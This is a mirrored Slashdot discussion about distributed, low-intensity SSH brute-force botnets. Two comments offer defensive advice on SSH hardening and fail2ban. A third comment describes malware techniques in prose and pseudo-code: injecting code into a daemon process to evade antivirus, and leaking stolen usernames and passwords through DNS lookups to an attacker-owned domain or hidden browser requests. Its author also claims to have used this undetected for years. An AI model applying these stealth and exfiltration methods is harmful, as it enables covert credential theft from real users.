Slashdot Mirror


Distributed, Low-Intensity Botnets

badger.foo writes "We have seen the future of botnets, and it is distributed and low-key. Are sites running free software finally becoming malware targets? It all started with a higher-than-usual number of failed ssh logins at a low-volume site. I think we are seeing the shape of botnets to come, with malware authors doing their early public beta testing during the last few weeks."

3 of 167 comments (clear)

  1. Re:Go install fail2ban by Yath · · Score: 5, Informative

    Please read more of the article before posting. The activity being described is a brute-force SSH login attack that is distributed across a botnet.

    (Yes, the title of the article is misleading, as botnets are by definition distributed; the interesting bit is that SSH brute-force attacks against a specific host don't seem to have been distributed before.)

    Here's the relevant bit:

    See for example the attempts to log on as the alias user, 14 attempts are made from 13 different hosts, with only 70-46-140-187.orl.fdn.com trying more than once. Then thirteen attempts are made for the amanda user, from 13 other hosts.

    fail2ban is not effective against this.

    --
    I always mod up spelling trolls.
  2. Solution - disable root ssh login, password auth by Khopesh · · Score: 4, Informative
    I forgot to mention my over-arching solution:
    1. Disable root access: in /etc/ssh/sshd_config, set PermitRootLogin no
    2. Disable password access (require ssh keys!): in /etc/ssh/sshd_config, set PasswordAuthentication no
    3. Use an auto-banning solution like Fail2ban to limit attacking traffic and save bandwidth

    SSH keys ensure that you're virtually immune to attacks, since the attack now MUST be brute-force (or break the RSA/DSA algorithms or compromise the server itself rather than an account), and must crack a "password" of over 150 base64 characters representing the 1024 bits of entropy in the key; a completely random printable password of 20 characters has 130 bits of entropy and an 8-word Diceware passphrase has only 120; you're not brute-forcing that.

    Preventing root from accessing remotely is just smart (your logs can show who really logged in, your sudo logs show who needed root-level access and when, and you can auto-ban root logins immediately rather than after a set number of failed authentications).

    All we're missing is the extension to #3 to handle distributed attack failures (as proposed by the parent post); with the proper protections, this is a bandwidth issue rather than a security issue (unless you're worried about DDoS, but we're talking about low-intensity attacks here).

    For those of you stuck permitting passwords, you'll want something like John the Ripper to brute-force users' insecure passwords before the enemies do. This way you can disable their accounts when you find that they are vulnerable and force them to change their password to something more secure.

    --
    Use my userscript to add story images to Slashdot. There's no going back.
  3. Re:Non Distributed Botnets by OeLeWaPpErKe · · Score: 4, Informative

    Actually botnets watch the IT department.

    Is this really a surprise ? Not every hacker is a 10 year old that does it for the kick of announcing himself "master of the network".

    These days you write a virus, that stays in the back-back-background (exe injection is one hell of a rootkit-like trick that not a single antivirus vendor detects : you startup. You find some dameon process that's sure as hell not going to get terminated any time soon (on winxp you can actually use the "idle" process), you "debug" the process, insert your own code in it's memory, in a freshly allocated piece, use the debugger to jump into your code, which creates a new thread in it's address space. You clean up, and voila, you'd have to be one hell of an admin to realise what happens on boot. You could even infect svchost.exe on disk).

    The hacking programs stay very, very, very low key and use covert channels to send information out, and receive answers. (e.g. user logs in with username password -> daemon looks up aes('$username,$password').some.domain.attacker.owns. The remote dns server is what informs the attacker of the username and password. Or have the webbrowser startup in a hidden window going to "yooptube.com?v="+aes('$username,$password'). You get the idea.

    In these days of youtube, myspace and such, such a lookup is not exactly a strange occurance (though I use a "question and answers" site), and used sparingly, will evade any detection system.

    Use the enemy's tools against him. Use the webbrowser to connect to the web. Use DNS. Use email. Use ... never try to open an outside connection.

    Works wonders. 3 years now, and still not discovered.